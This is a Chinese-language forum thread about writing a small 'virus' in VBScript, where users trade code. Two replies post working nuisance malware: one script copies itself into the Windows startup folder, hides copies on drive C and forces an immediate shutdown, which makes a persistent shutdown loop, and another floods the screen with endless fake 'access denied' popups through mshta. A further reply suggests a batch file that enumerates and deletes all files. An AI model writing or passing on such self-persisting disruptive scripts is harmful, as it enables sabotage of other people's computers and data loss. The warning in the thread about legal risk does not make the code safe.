猫史档案馆


一个小小的VBS做的病毒

用户:PlumStevenPlumSteven查看:13 回复:6 评论:13 创建时间:2022-04-20T08:08:27


center_image

 


回复

上一页1 页 / 共 1下一页
小电鼠vdc1小电鼠vdc1

?麻烦快点,交出接病喵………………

 

点赞0


评论


技术猴技术猴

如果是在.bat批处理文件。dir命令可以展开电脑所有文件,来做到删除文件的效果

点赞0


评论


温顺的咪噜gBgE温顺的咪噜gBgE

我编了一个,只会不停关机的

set fso = createobject(“scripting.filesystemobject”)
set ws = createobject(“wscript.shell”)
pt = ws.specialfolders(“startup”) & “”
set file = fso.getfile(wscript.scriptfullname)
file.copy pt
set WshShell = WScript.CreateObject(“WScript.Shell”)

dim wshshell
set wshshell = wscript.createobject(“wscript.shell”)
wshshell.run “shutdown -s -t 0”,0

Set fso = CreateObject(“Scripting.FileSystemObject”)
Const Hidden = 2 Set f = fso.GetFile(“C:\abc.vbs”)
f.Attributes = f.Attributes Or Hidden

set copy=createobject(“scripting.filesystemobject”)
copy.getfile(wscript.scriptfullname).copy(“c:\123.vbs”)


Set fso = CreateObject(“Scripting.FileSystemObject”)
Const Hidden = 2 Set f = fso.GetFile(“C:\123.vbs”)
f.Attributes = f.Attributes Or Hidden


On Error Resume Next

点赞0


评论


mhdLing314mhdLing314

我自己搞了一个很像病毒的vbs

set wsc=createobject("wscript.shell")
for i = 1 to 9999999999999
     wsc.run "mshta vbscript:createobject(""wscript.shell"").popup(""拒绝访问C:\"",1,""Error"",64)(window.close)"
next
set wsc=nothing

第二行的第二串数字越大持续时间越长

点赞0


评论


AucunAucun

能不能搞点正经的,要是真搞了,是要坐牢的啊

点赞0


评论


Eternal_BlueEternal_Blue

我用python写过木马病毒,喵病毒,U盘病毒以及后门病毒

点赞0


评论